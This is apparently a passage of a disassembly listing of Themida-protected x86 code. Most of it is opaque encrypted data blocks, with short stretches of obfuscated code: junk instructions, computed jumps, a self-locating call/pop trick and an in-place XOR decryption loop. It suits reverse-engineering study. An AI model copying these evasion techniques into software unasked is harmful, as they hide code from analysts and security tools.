		dd 5CC66B1Fh, 6886FC22h, 0E83090E5h, 21053840h,	0DE05795Dh
		dd 0A3F2FC80h, 8AEE2296h, 0F0F9CC60h, 0BC235C57h, 0E3B14A23h
		dd 6FEC1A3Fh, 0ADF6A72Bh, 0BB312C90h, 0E75AA504h, 58A28D1Ah
		dd 3959748Dh, 2082AC80h, 198D1FA5h, 1829F16Dh, 0D2AD98ECh
		dd 1E7E3EE8h, 6A5FD705h, 0FB6622C7h, 66B35C87h,	0ED36E76Bh
		dd 0B0043345h, 8EC6A35Ch, 0B7C528C6h, 0C6D68053h, 0BA07AFBDh
		dd 8B682D26h, 931BA5B7h, 0C3324F7h, 0B5F50278h,	731CF770h
		dd 8DA5AD5Bh, 0C33AFFDh, 0F77D8828h, 0AF85C165h, 300A0C33h
		dd 0BF052416h, 843B01E7h, 320E1F8Eh, 82BFC498h,	48E6DA3Eh
		dd 3AB1h, 0D6F5F00h
		dd 8D77E476h, 1396570Fh, 37412BC5h, 444501A5h, 2BCAC394h
		dd 0A3DE03EEh, 608EE2F7h, 9F732594h, 4C300ABDh,	6151E4E4h
		dd 6263313Ah, 363C7FAEh, 0CDAA2Ch, 0DEB20000h, 0A514F8D5h
		dd 2D9C605Fh, 0B019EDD8h, 65896A67h, 0C39418DEh, 33391461h
		dd 0CB5CBEC2h, 9B5B19A3h, 0F6CABE92h, 256E9F58h, 3844A428h
		dd 0BBCC3923h, 7C8E608Eh, 0C74B8691h, 68916583h, 0C5426058h
		dd 643866FDh, 97E00DDFh, 1BEFDA2Fh, 4B25C327h, 6DEB2223h
		dd 8557AB44h, 1FB1C47Bh, 0FA468313h, 72C21E6Ah,	20A99130h
		dd 3014F8D1h, 0DBCA5416h, 0FA53FDCCh, 0C8F50AA6h, 9A9E0FD4h
		dd 7406ACBBh, 45CD8C6Bh, 1E582h, 0F4C3D700h, 5A77BE6Fh
		dd 2C1D6C99h, 0F1C0D637h, 407F8562h, 0DE3D2493h, 8F78FBDAh
		dd 7FA84B76h, 28C51E29h, 8871E2DFh, 0D6B8CC60h,	400FC584h
		dd 0FBDADED8h, 0B160CA71h, 22D6CB2Ch, 71826304h, 0BD799F44h
		dd 869F4750h, 15A947BBh, 0C66EFC87h, 0BD9F0557h, 0D61EE2D8h
		dd 3A60CAB6h, 6DD1E037h, 0EA5E6BBCh, 87FB0A0Ch,	5DB73662h
		dd 2C35C7ACh, 0C285h, 9DE61700h, 0DE9086A0h, 8372F8D5h
		dd 92F65A75h, 5F4E9C74h, 0B1957948h, 5362B697h,	18BC47EFh
		dd 0F603C394h, 9AEF18DBh, 0BB33BDAFh, 3C6BE6CFh, 0AA95EF40h
		dd 4400A4B6h, 0CB3C6BE6h, 6BF159F7h, 3AB64BAh, 3C6BE647h
		dd 709EF2C8h, 21CB502Ch, 0DC2B2897h, 0FD0B8E91h, 0F5A8353h
		dd 0EFD34260h, 5C522A74h, 0D11B7F46h, 13E7DE24h, 0D75F113Fh
		dd 446D9ED5h, 0CF3E2C16h, 0BC698AB5h, 168E5964h, 258C6BF0h
		dd 0E86A2Dh, 0CED80000h, 74836CF7h, 22719E45h, 0C3DB342Fh
		dd 728667FCh, 3A219043h, 7DE6D923h, 0ADB68B90h,	0DA193440h
		dd 76EDD82Dh, 0BBCF6785h, 0CC584D1h, 0DADEC7BDh, 7A8F78FBh
		dd 0BD6C944Fh, 84084150h, 0F4C3D5h, 0CF3EE8CCh,	0B05D8FBAh
		dd 0A2E66A67h, 2CBE8C84h, 1D7E0AA2h, 89F1C394h,	941D0D79h
		dd 8EB882C3h, 845F6ABFh, 0BD889D08h, 0EA710B93h, 0F207F600h
		dd 5D6E4F1Ch, 0F7EB5D9Ch, 891DCF03h, 0C394D2FDh, 16DE0872h
		dd 0BD849259h, 7D2C90EAh, 0A737C628h, 0A750689Dh, 0C55531B5h
		dd 0E0DA3A64h, 6DB6578Ch, 0C644EC50h, 0DE82221Eh, 0BA99E10Ch
		dd 729B2A8Ch, 0DECF1421h, 2D186DD5h, 8E9445C9h,	0B98A0B6Ch
		dd 83E7B570h, 786023Fh,	0BBB8959Eh, 0DAD7394Ah,	116EC2D1h
		dd 0DD09E72Eh, 280C0105h, 38F4034h, 29000000h, 0D4DE9C84h
		dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h
		dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 83CF7BCFh, 1C8904ECh
		dd 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 81E28952h, 4C2h
		dd 4EA8100h, 87000000h,	895C2414h, 0E168241Ch, 8900001Ch
		dd 0B9512434h, 610C248h, 0C8BCB89h, 4C48324h, 24348B54h
		dd 4C481h, 52530000h, 4E3B5EBAh, 2454014Eh, 468F5A04h
		dd 86E8108h, 4E4E3B5Eh,	5124348Bh, 0C181E189h, 4, 4C181h
		dd 0C870000h, 1C8B5C24h, 0E7895724h, 4C781h, 0C7830000h
		dd 243C8704h, 0B195E95Ch, 7AB5FFFAh, 0DD303F76h
; ---------------------------------------------------------------------------


loc_598E4C:				; CODE XREF: Themida_:loc_598297j
		mov	eax, 610CD13h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0E5h, 0B3h, 0A8h
		dd 2B874F5Ch, 29955304h, 0C6396B16h, 0E8FE644Eh, 0F508ED6Fh
		dd 0C8D93969h, 0F18FCB36h, 3CA51F5Ch, 0BD7D4B4Dh, 767E446Dh
		dd 0E3BC391Fh, 81581C31h, 85CBC63Bh, 0AE82Dh, 42320000h
		dd 0DEB41713h, 0F2DEEE78h, 0DE9h, 0D903CE00h, 0ED71A0D7h
		dd 906C25C4h, 605A7E87h, 5C28161h, 0BB000063h, 0
; ---------------------------------------------------------------------------
		jnb	loc_598ED4
		jg	loc_598ED4
		jmp	loc_598ED4
; ---------------------------------------------------------------------------
		db 55h,	0CDh, 0D4h
		dd 0BB4559A3h
; ---------------------------------------------------------------------------


loc_598ED4:				; CODE XREF: Themida_:00598EBCj
					; Themida_:00598EC2j ...
		push	dword ptr [ebx+edx]
		cmc
		pop	edi
		and	ecx, 227CD073h
		xor	edi, 2915C11Fh
		mov	ax, di
		xor	edi, 413B5167h
		mov	cx, 98EFh
		sub	edi, 69680D03h
		clc
		mov	[edx+ebx], edi
		sub	ebx, 1
		movsx	ecx, dx
		dec	ebx
		dec	ebx
		dec	ebx
		ja	$+6
		cmp	ebx, 0FFFF9D90h
		jnz	loc_598ED4
		jmp	loc_598F2B
; ---------------------------------------------------------------------------
		dd 24372F1Dh, 0BBB92A21h, 0DA462D05h
		db 84h,	81h, 60h
; ---------------------------------------------------------------------------


loc_598F2B:				; CODE XREF: Themida_:00598F17j
		lea	ecx, [ebp+610CF34h]
		push	0
		push	esi
		call	sub_598F3C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598F3C	proc near		; CODE XREF: Themida_:00598F34p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_598F3C	endp

; ---------------------------------------------------------------------------
		dd 5BEFC63h, 4EAC0232h,	4D8D8968h, 6A060B17h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0D9F8C350h, 0BD9F56AEh, 11985C7h, 5FBC060Bh,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 4BBE44C3h, 0C72E12DCh, 0B100985h, 6,	0DD38BE00h, 0B5FF71BFh
		dd 60B2A41h, 11698589h,	858B060Bh, 60B2ED9h, 0AC595FFh
		dd 8B66060Bh, 0FF006AF1h, 0B32DD95h, 0EBC08B06h, 41F8B519h
		dd 1FADA26Bh, 903ECE3Dh, 343101B9h, 0A61EF131h,	0E1C4E928h
		dd 0DE8097Dh, 0A000000h, 0EE31FBE6h, 447BA155h,	67C34E69h
		dd 9E8h, 9BBBC700h, 41669E13h, 0EE9AEC9h, 64000000h, 0DC495EBh
		dd 2D5C6603h, 66581237h, 0E9595E2Bh, 9,	328A9F2Dh, 0A30EAEC1h
		dd 0C6C1815Bh, 89000069h, 0B1B099Dh, 1A3F6806h,	665B0000h
		dd 8B99D3BFh, 85096011h, 60B0941h, 4810Fh, 0BE660000h
		dd 81619EC1h, 0FA4C56F2h, 5C88107h, 814D5A1Bh, 91E992F2h
		dd 5AC48039h, 0FF50F281h, 0B5897183h, 60B23EDh,	0BD8B1189h
		dd 60B2F55h, 8CEAE981h,	0C1816405h, 64058CE6h, 1659BD89h
		dd 0EB83060Bh, 11850F01h, 60000000h, 74E18166h,	16E96103h
		dd 0AB000000h, 946DA38h, 13418D89h, 8CE9060Bh, 93FFFFFFh
		dd 0B675D182h, 0ABE90Fh, 8D500000h, 0B11C3F2Eh,	0ABDA5F72h
		dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh
		dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h
		dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h,	97B1EF76h
		dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h
		dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h,	0BF9792B0h
		dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh,	9492ABF7h
		dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh
		dd 93BCE1B6h, 97B3ED72h, 0A601E800h, 323D94E7h,	0FE71D83h
		dd 1204E954h, 80680000h, 0E90610D2h, 0FFFAAE53h, 10D38868h
		dd 0AE49E906h, 4C68FFFAh, 0E90610D4h, 0FFFAAE3Fh, 10D5B968h
		dd 0AE35E906h, 2268FFFAh, 0E90610D6h, 0FFFAAE2Bh, 10D6C268h
		dd 0AE21E906h, 8B68FFFAh, 0E90610D7h, 0FFFAAE17h, 10D83468h
		dd 0AE0DE906h, 0F068FFFAh, 0E90610D8h, 0FFFAAE03h, 10DA3968h
		dd 0ADF9E906h, 3E68FFFAh, 0E90610DBh, 0FFFAADEFh, 10DC6368h
		dd 0ADE5E906h, 0B168FFFAh, 0E90610DDh, 0FFFAADDBh, 10DF7B68h
		dd 0ADD1E906h, 9468FFFAh, 0E90610E0h, 0FFFAADC7h, 0F66D64AEh
		dd 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch, 63B9549Bh
		dd 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh, 84CC1175h
		dd 0B12796C5h, 72F8D5DEh, 1D384CE0h, 4B8FC394h,	0B3C4B59Dh
		dd 7B015D86h, 6FF27AE0h, 0C0BD9F19h, 0D9C416FAh, 0E5E105CEh
		dd 6A3A60E6h, 0E1483C10h, 9644B897h, 60E66A1Eh,	6B85FD3Ah
		dd 60E6EB9Bh, 6B7A3E3Ah, 35087891h, 20512Ch, 6FBF0000h
		dd 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h,	0DA2EBFE5h
		dd 2C35C733h, 0B01Eh, 0D5DEE600h, 5FA514F8h, 0C468FA60h
		dd 0C3941D80h, 6150A607h, 3357DF0Dh, 0B4C3941Dh, 0A2A8A04Eh
		dd 0F9172A73h, 42360314h, 0A0B38E9Bh, 941B773Eh, 80BDC6C3h
		dd 0D124D153h, 0B2C746E0h, 0A1FB3387h, 0D9DC509Ah, 6E4260FFh
		dd 64587781h, 46DDBFFFh, 829B0A94h, 9FC591BFh, 10446D5Eh
		dd 0CFD5C02Ah, 34E163F0h, 286CD0E1h, 0CAF50FFEh, 6B461B3Dh
		dd 1DF2508Ch, 0FB2h, 0E67D545Eh, 10C3FE09h, 4E95A4F7h
		dd 0F97A59A1h, 2AC9F40Ch, 53A944ABh, 116F76Ch, 0BEC6273Ch
		dd 66B35C87h, 0E903886Bh, 84CF0145h, 413786C5h,	78FBDADEh
		dd 944F7A8Fh, 4A50BD6Ch, 0CBBF969Eh, 0EB2F93F7h, 1B613Dh
		dd 0A02448DAh, 27C3941Dh, 33BB35D3h, 0BD9F0582h, 32397EBh
		dd 3A60CB43h, 79830296h, 0FA4E7B8Ch, 57F66886h,	722C35C7h
		dd 0CDh, 0BB33BD9Ah, 0C3941DCFh, 0B10E434Eh, 0E3298E49h
		dd 1DA1D69Bh, 3C091AF3h, 7F9BE148h, 1F97A122h, 0C394D86Bh
		dd 5D7986FCh, 0D4B89C8Ah, 9484551Ch, 3393E4C3h,	2165E9E0h
		dd 259A16CDh, 87AD58E7h, 0C548E650h, 2B3185B0h,	7593AAFAh
		dd 22C85329h, 9FF78F8Ah, 38ACA0BDh, 3A61D74Ch, 589BFFC3h
		dd 495342CCh, 0D78AFE76h, 0D31D3A61h, 61D72F5Bh, 665AA03Ah
		dd 93A8F4C8h, 47AC2549h, 0D921446Ch, 0A79EE213h, 764953BCh
		dd 6A4A89F9h, 0E758AA8Ch, 0EAAh, 0EE754C56h, 18DBF601h
		dd 0B6AD9CEFh, 0E1724159h, 12C1FC04h, 5BA1BCA3h, 90EFF64h
		dd 0B6FE2F34h, 5EAB449Fh, 0E10BF063h, 84CE394Dh, 593F8EC5h
		dd 78FBDADEh, 944F7A8Fh, 0F8D5DE6Ch, 5B768372h,	9D7593F7h
		dd 75EEDB2Ch, 0CCB08998h, 263D081Dh, 66D54151h,	0A0F431D0h
		dd 266EDFC5h, 0C9675B2Fh, 0F109A7F5h, 81754457h, 0A1E5694Dh
		dd 256E9F4Dh, 0F86CFE28h, 0BD9F45CDh, 0CF077842h, 34EB16BEh
		dd 8557ECB0h, 0F4105461h, 0DDA199BFh, 0B6A4BFDDh, 0C66D563Eh
		dd 33442941h, 0E38CDDh,	14080BF9h, 76129AA0h, 0F935C540h
		dd 0A349AD81h, 74812172h, 0BD91F559h, 13C49A6h,	1076EC6h
		dd 0F255BD8Ah, 0DE6h, 0AA498092h, 0C41F2A7Dh, 72E1D82Bh
		dd 0ADB68D95h, 0DE053840h, 879D7067h, 354ABBB8h, 0EA3AEB08h
		dd 92E700D3h, 9D4FBCA7h, 84C97D09h, 9D03F2C5h, 14F8D5DEh
		dd 5430B4C6h, 0DBC3941Dh, 277549E7h, 3A6CE1Ch, 29BD9F1Eh
		dd 0F90CA4FCh, 2C0044C8h, 263D0502h, 768A2478h,	9AFECBDAh
		dd 0FF10AD7Dh, 0CA2E35DFh, 2F998C20h, 9CC3446Bh, 6A8F7F1Dh
		dd 906F9925h, 0E91426AAh, 1B6C7690h, 0F0AE9170h, 0E2E2729Ch
		dd 37307D4Bh, 81A8606Dh, 0A8262A46h, 5Dh, 0F5C0D5C0h, 3D23CD01h
		dd 0E4760D6Fh, 9EE1D740h, 0B2C835BDh, 2DDB3F83h, 0F406D42Eh
		dd 8FEA0547h, 3DEB5D7Ch, 0F352C4D0h, 0EF07F17Dh, 4FD91A7Eh
		dd 0B448F810h, 0B5394FD0h, 3A60CBD1h, 0DE086C56h, 60CB7416h
		dd 91ACF93Ah, 6453A542h, 0B4384A90h, 3A60CBD0h,	5EC56357h
		dd 0CF6h, 760D6FE6h, 0A4C85AE4h, 0C3941D20h, 21B553A7h
		dd 0BD846C68h, 5E4F9DE5h, 0BD2DA157h, 0DC87BD67h, 719C4EF8h
		dd 0DDCA2924h, 201968C8h, 96EF1ECCh, 45E327ABh,	0B4CFADCDh
		dd 9AE914A6h, 0E7FD89A7h, 15446B84h, 0DCA099E8h, 350811F8h
		dd 64E30D41h, 0D421CC1Eh, 788D7AF9h, 0AE6B0696h, 0C43893D1h
		dd 0DF643870h, 0CC84990Dh, 0F4594E40h, 0EF2397AEh, 94027C8Bh
		dd 0D131927Dh, 0C797Eh,	24136700h, 8AC7CE3Fh, 5C6DBC69h
		dd 21106687h, 0F0CFD532h, 6E8DD463h, 0DFC82B2Ah, 8F78FBC6h
		dd 78954E79h, 38C1122Fh, 0C8C8BC30h, 0F05FC584h, 1D27A708h
		dd 8517C394h, 0FAF86CFEh, 75BD846Dh, 0E52EDF0Dh, 899A0BE8h
		dd 0CCD0C8BCh, 0A41BA5B7h, 0A7174CB5h, 0AC38D681h, 4470EEF9h
		dd 0A5FB744Eh, 4A8C6D83h, 0C1007F8h, 0AAFC0000h, 50A74093h
		dd 615F261h, 0A7FF28CBh, 56AA5B98h, 264DF46Fh, 5182BDC7h
		dd 81526FB4h, 3E251064h, 6A89C4D1h, 0A7234BA1h,	28C584CBh
		dd 0D5DEE359h, 50A514F8h, 2448F765h, 481A9038h,	538F2C92h
		dd 71C0EAA4h, 0F94D7088h, 7FE76B85h, 0B950A825h, 90324099h
		dd 678h, 760D6F7Ch, 6D7F40E4h, 8AF0BD84h, 5560B560h, 8493028Eh
		dd 638DC1B5h, 0D8AC99EAh, 7B2D7808h, 2F34483Ah,	8BCAD03Dh
		dd 4E1B935Dh
		dd 0F244702Eh, 50285C4Dh, 82AC8B3Dh, 0F8B2BD85h, 0B8C6D82h
		dd 0B70583Fh, 0A1C0000h, 0B0C72033h, 66B55281h,	71F886Bh
		dd 0B6CA3B38h, 86ED548Fh, 31221D67h, 61F2CFD4h,	9E457084h
		dd 0CA292471h, 0C7832BC1h, 48C584CBh, 50BD03F9h, 4E82764Bh
		dd 6D58ADA0h, 8DF96DFFh, 2C3941Dh, 303A0E38h, 1D7A0EA6h
		dd 0F5CDC394h, 94A1F25Bh, 112C7920h, 98A9FCADh,	0C7C6DC34h
		dd 0F4F18B4Bh, 400CED1Ch, 5C6C432h, 0CA540000h,	941526A2h
		dd 0B751A9C3h, 1D27A741h, 8517C394h, 37F86CFEh,	88BD846Ch
		dd 83E7D227h, 0D8DECF59h, 173115F9h, 0F60BED36h, 3FC6C653h
		dd 6051A415h, 0ED36D70Ch, 700C6CD0h, 819401EBh,	4F88CCB0h
		dd 5D1C7CA8h, 0F07A9483h, 70B4297Ch, 8B44BE44h,	8C6DC9D1h
		dd 0A743040Eh, 5500000Ah, 3CE90A41h, 0EA1BD8E9h, 54B1A29Fh
		dd 3EC774Eh, 0A61DC6F9h, 79445CBFh, 0C9F40DFAh,	9CABFD2Ah
		dd 605DA647h, 4AE20EF3h, 0C584CA3Eh, 0DE5AC2B1h, 0A514F8D5h
		dd 28916550h, 0AF1EE2DFh, 0A79B6F5Ah, 0DF1C0D6h, 3A545153h
		dd 8F05801Ah, 32400D5Eh, 5134Bh, 0D6F9500h, 0B68306ADh
		dd 40A4DB3Dh, 19E6129Ah, 7149BD84h, 0DCE93AEBh,	0F188507h
		dd 86C0532h, 5BBF2450h,	0EF57A0ADh, 0E7DBAF9Ah,	57373F83h
		dd 673A7B9Ah, 48DC0E15h, 4470991Dh, 0F4C9CE3Fh,	0B10FD5Ah
		dd 2A0E4236h, 6DE9A9DDh, 7F84A8Ch, 9FEh, 0B2A198EAh, 0EC774255h
		dd 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh, 5DA24390h
		dd 212F360h, 0AAFF28CBh, 0B5B7449Fh, 84C55531h,	0F56BDAC5h
		dd 14F8D5DEh, 916550A5h, 0ED32E361h, 717C36D0h,	400D729Bh
		dd 4765F32h, 0A7B90000h, 0C3941D22h, 71FB801Ch,	846C3CFDh
		dd 0A349B1BDh, 799FE411h, 0BD5ACF52h, 71D83C8Fh, 61A52924h
		dd 0F63D46C7h, 9C84C064h, 370B3A7Bh, 7B9C4B3Fh,	82E6DC3Ah
		dd 0D226D751h, 0BFC845E3h, 78E35882h, 176554F9h, 4C9E729Ch
		dd 0FDEAAC2h, 69513A7Bh, 709DFFBFh, 7B0F88FCh, 0C73B1F3Ah
		dd 5709115h, 85FD4470h,	6E573E4Ah, 0BA1DF58Ch, 942h, 76EDE42Eh
		dd 0A0B38E99h, 0DE053447h, 9EAE931h, 0BAB9849Ch, 0E339D41Bh
		dd 91E607DCh, 4E56B7ACh, 0F603EC77h, 79F318DBh,	84C591F5h
		dd 31A716C5h, 0B4A50BDh, 2A2770DDh, 97A2F7A6h, 0B2337523h
		dd 0D60D384Dh, 40F1032Ah, 15F2E32h, 0DE360000h,	0A514F8D5h
		dd 6F76550h, 4225C3F2h,	4B288814h, 49477177h, 6905ABEh
		dd 2EE286D9h, 8CBAB74Bh, 9F9775F8h, 2B76A7BDh, 94384CE0h
		dd 4B8F3A61h, 605AB957h, 4C5F4E9Ch, 9BB5897Dh, 6194BBCBh
		dd 0D8E53A3Ah, 467D8574h, 404D47F2h, 7C892BCEh,	35966584h
		dd 254C2Ch, 6FA80000h, 39E4760Dh, 0B436D0EFh, 9F058130h
		dd 2094EEBDh, 60CB4000h, 0FE0F953Ah, 35C6E30Ah,	0BBCE2Ch
		dd 0DE160000h, 8372F8D5h, 91F55970h, 0D62A9377h, 6AD11BEFh
		dd 0D5590248h, 0C39412B1h, 8633CC36h, 0FA53FDC0h, 593347A9h
		dd 0FBFC7499h, 5CA85587h, 8FB99D61h, 61C1D2BBh,	70543817h
		dd 0FD417C89h, 28BEA599h, 0C3946851h, 79FAD720h, 16C45F3Dh
		dd 0DFA39EE7h, 0CB0212FBh, 0BE50347h, 99CC64E3h, 4F9DE5BDh
		dd 0AAEE5A5Eh, 0E5DC22ABh, 6FB55281h, 0D1DB9750h, 2A18865Fh
		dd 7F955h, 0A493E700h, 0A474EBFh, 0DCED3CE9h, 0A190E607h
		dd 704F55B2h, 0EE0D54E3h, 5F48ABAAh, 0FF87B46h,	0F815CEF9h
		dd 0B84192AFh, 0C7483CB0h, 70DFC584h, 0FBDADE88h, 4F7A8F78h
		dd 1425709Dh, 21C26CA0h, 0F8D5DED3h, 6550A514h,	0C0FD06F7h
		dd 75EE187Ch, 81C569FBh, 6C3941Dh, 9C605FA9h, 0B5AA44B8h
		dd 258h, 760D6FDFh, 0B4140E4h, 0F4CEBD9Fh, 0B1853A00h
		dd 0AB9E13CFh, 2B5B2BC5h, 0FE3A6087h, 8C76CD72h, 0DE87BF46h
		dd 9D777630h, 2C356E6Ch, 20145h, 20A7A300h, 1EC3941Dh
		dd 0FF77E57Eh, 0BD846C38h, 2BC977E4h, 608DF13h,	4DE16BE8h
		dd 3A7B5539h, 8A50B48Eh, 4D788D78h, 6C59AAA3h, 0EB0D16F7h
		dd 0E4336B81h, 53271B17h, 0CEC07F89h, 0AA77C6F0h, 673A4E86h
		dd 7B833A7Bh, 6987FB44h, 0A2CA4755h, 3A7B6726h,	630F8AA9h
		dd 0BCE935BDh, 7EF66458h, 44702C8Fh, 0B72D3A00h, 448C6E2Eh
		dd 6F409CEh, 96E00000h,	3C4BA4BFh, 0EA39D60Dh, 9BE30CD7h
		dd 4A4EBFA4h, 269E80Bh,	0B5AE91EBh, 0E57E4358h,	12C1FC08h
		dd 4E95A0F5h, 4307AFBDh, 0C4C584C6h, 0D5DE8F75h, 50A514F8h
		dd 0FB03ABF0h, 381CE0C4h, 608416C4h, 0C3941D64h, 917997EBh
		dd 3BE0ED27h, 0F400D3EEh, 3240F155h, 5865BA6Bh,	1302BAEh
		dd 1A410000h, 8DB7422Dh, 0FC628C3Dh, 92FE1EBDh,	0B3DA44D6h
		dd 526FB895h, 0DFEA3FEEh, 39425A04h, 9336BB33h,	0E807BD9Fh
		dd 561C63B0h, 0D5B99DE8h, 61546D1Dh, 0EDF8B83Ah, 3555F617h
		dd 34D32Ch, 5C490000h, 0B4887C4Dh, 0D6FA49Ah, 0D140E476h
		dd 5EBD9F05h, 0CB6E1A92h, 99E13A60h, 7111D1A5h,	0A43A60CBh
		dd 0F21BF1FCh, 0C82C35C6h, 4EF8C7DDh, 948Bh, 0D5DE5500h
		dd 5FA514F8h, 0D82D9C60h, 67B019EDh, 7C65896Ah,	0FFC393EBh
		dd 1A449FAAh, 0FB73F982h, 4266220Ch, 81604BF0h,	799B4B2Ch
		dd 33C1DBDh, 0F202BC50h, 0CA49E7DBh, 64B31D65h,	0CF1D7155h
		dd 78FBDADEh, 0BD4A758Fh, 86611931h, 0CF0FC042h, 0BD000005h
		dd 64815269h, 0D2332011h, 0BC698AC7h, 6B845F66h, 8E352E11h
		dd 417C8467h, 112C7592h, 0E4D325C2h, 48858E7Fh,	628A66ABh
		dd 0C584C166h, 0DEA21AE9h, 0EC78FBDAh, 5A5AF4Fh, 6F998A82h
		dd 0BBB8959Eh, 6DD5DE5Dh, 3357DF14h, 0B4C3941Dh, 0A2E66A4Eh
		dd 613FA4Eh, 977B5A5Eh,	8845FB3h, 275F85D3h, 14328EA3h
		dd 272Fh, 1EBD4900h, 565E7F86h,	927B9585h, 0FBD62181h
		dd 344A3317h, 0F4A5290Dh, 0E22296A3h, 0C3D43DC8h, 46966DF6h
		dd 3E000000h, 0F923D5DEh, 4980DB57h, 3C16D52Ch,	533F0C03h
		dd 2A5B8B7Fh, 0ADC394EFh, 339A6E55h, 0F3971FE0h, 74C394EFh
		dd 6CA62A0Eh, 0C5C7BB4Ah, 7C8E1293h, 94EF9CE8h,	12F13C3h
		dd 0B438FB0Ch, 0C394EFD0h, 0D40F6357h, 4150BD2Ch, 89B8408h
		dd 0D3FFD4A3h, 69E40266h, 0A93B211Ch, 94234105h, 52FCC6C3h
		dd 45DEBEFEh, 52A61F97h, 43B7BD84h, 2E1B6C99h, 29CFD835h
		dd 6B1798ADh, 0C2B6AAF4h, 0A349D2AAh, 4CE99D11h, 47E3A7Bh
		dd 0F6EC00EAh, 24446B3Ch, 0F309A3F9h, 200478CCh, 71CE785Ch
		dd 0E132E309h, 959E0FD4h, 0C8D4D4B8h, 2805A9B3h, 3D4E419Bh
		dd 0E7860AC5h, 45CD927Eh, 48182h, 2C1B6F00h, 0F2CFD637h
		dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh,	27C01322h
		dd 9770E3DEh, 40ADB681h, 30D91A37h, 0C0D0B438h,	0E857C584h
		dd 6DD5DE70h, 64582C1Bh, 0E132D300h, 6CB960D4h,	4F4A458Ah
		dd 766AAAFBh, 0D3D2D482h, 77ECD92Ah, 78C246F5h,	724642CAh
		dd 0B5A18303h, 36D034A4h, 415A25C4h, 430C32h, 6FE80000h
		dd 40E4760Dh, 0BD9EE1D7h, 0C213B958h, 7FCD6581h, 96A16662h
		dd 0C6037F9h, 0EED92FDEh, 0FE3E175h, 11623A60h,	0E66A69B1h
		dd 0F1C8DBA2h, 0ED5C90Dh, 0D4B897E1h, 3DD73h, 0EB3CE900h
		dd 0F8166ADEh, 0F8D5DE02h, 0C4D7C614h, 0A1F25BF5h, 285CD062h
		dd 0BFC3941Dh, 1DFF8B5Bh, 0D170C394h, 0CE203484h, 0C5391D88h
		dd 273C401Eh, 0FD2CB135h, 3901BD9Fh, 0C3ED9D55h, 1B6C3A61h
		dd 32F8B2F5h, 83E70C80h, 0F464E3Fh, 54514BBBh, 109D073Ah
		dd 0E7355388h, 8B348C77h, 94AE35Dh, 3E672C36h, 0F5000000h
		dd 22CCFD08h, 760D6F3Ch, 5D140E4h, 645EBD9Fh, 0C6F107F6h
		dd 40002028h, 0C13A60CBh, 8FFB73B8h, 3A60CBh, 8B72C63Ah
		dd 0BBFE427Dh, 0FF126C79h, 39D028A5h, 102C35C7h, 0E6h
		dd 0F8D5DEFCh, 605FA514h, 36D82D9Ch, 56580654h,	0BBA185FDh
		dd 94673004h, 21CF3BD0h, 1A374029h, 0FBD625D0h,	7D04AA4Dh
		dd 9FC394CEh, 0CCED990Dh, 1862C394h, 3F0A1FEEh,	83BECB24h
		dd 869DFF3Fh, 0FB29D054h, 6786BD9Fh, 570D1A87h,	0A4B693h
		dd 3A61A344h, 4093F7CBh, 6FFD8616h, 6C3506C7h, 0A9B38744h
		dd 0EC1A277Ch, 0B6899302h, 0AEF223ADh, 41EF2397h, 7E89B4CCh
		dd 8C6A575Ch, 0B7DCB397h, 0A5000002h, 0CF97A51h, 0FA2BC8F9h
		dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh,	39041D8Ah
		dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C584C20Eh,	0DE4A3281h
		dd 94E00DDAh, 1DDDA9B9h, 6852C394h, 0F53EEF74h,	1DC2862Eh
		dd 7D45C394h, 3C4EDA19h, 941DDCA8h, 0D2B63EC3h,	55C3941Dh
		dd 0EA3D926Dh, 33176BDFh, 1EBD2F15h, 0E434F1A0h, 0CF2DC8FFh
		dd 21AEB34Ch, 19633BD5h, 0E554D802h, 4ABD9F0Eh,	24A48C70h
		dd 0F13A60FCh, 896FBA6Bh, 1D77D04Dh, 0CE785CE8h, 0A23D9D4h
		dd 272C3517h, 0C6h, 0C3D48B5h, 0D5DE7CE2h, 0CB2F1A6Dh
		dd 0ACDFBA21h, 52F733CDh, 97ED5CB4h, 0E5D9E43Dh, 6D88D111h
		dd 0DE2BC394h, 829770E3h, 0C279C3B7h, 4CE0EACFh, 0C3944638h
		dd 458C4B8Fh, 3A82ACF6h, 8113D962h, 278BFF77h, 261CC394h
		dd 10957C08h, 106ABD9Fh, 0F2CDDBCAh, 0B9C39354h, 3634B8A2h
		dd 39446CAAh, 78736C1Ah, 5ABEA13Fh, 201F6590h, 0F7CED233h
		dd 6AFA9478h, 0F85FAB8Ch, 19Eh,	0D201384Ah, 0CD7E235h
		dd 0BAB990E3h, 0D50E354Dh, 6DDE038h, 4F55A8BFh,	0FD02E370h
		dd 0A2F213C0h, 4A5F48ABh, 0D517E47Fh, 84FD3551h, 55CBBAC5h
		dd 9B9E1EBDh, 0B7F7931Bh, 278C394h, 0A80171F5h,	4A758F7Eh
		dd 1E2B7CA9h, 0D5DE3FC5h, 50A514F8h, 0B5A9A4F0h, 193441AEh
		dd 0C72775B5h, 1B93D016h, 0C394406Fh, 27D9AE0h,	0C7150996h
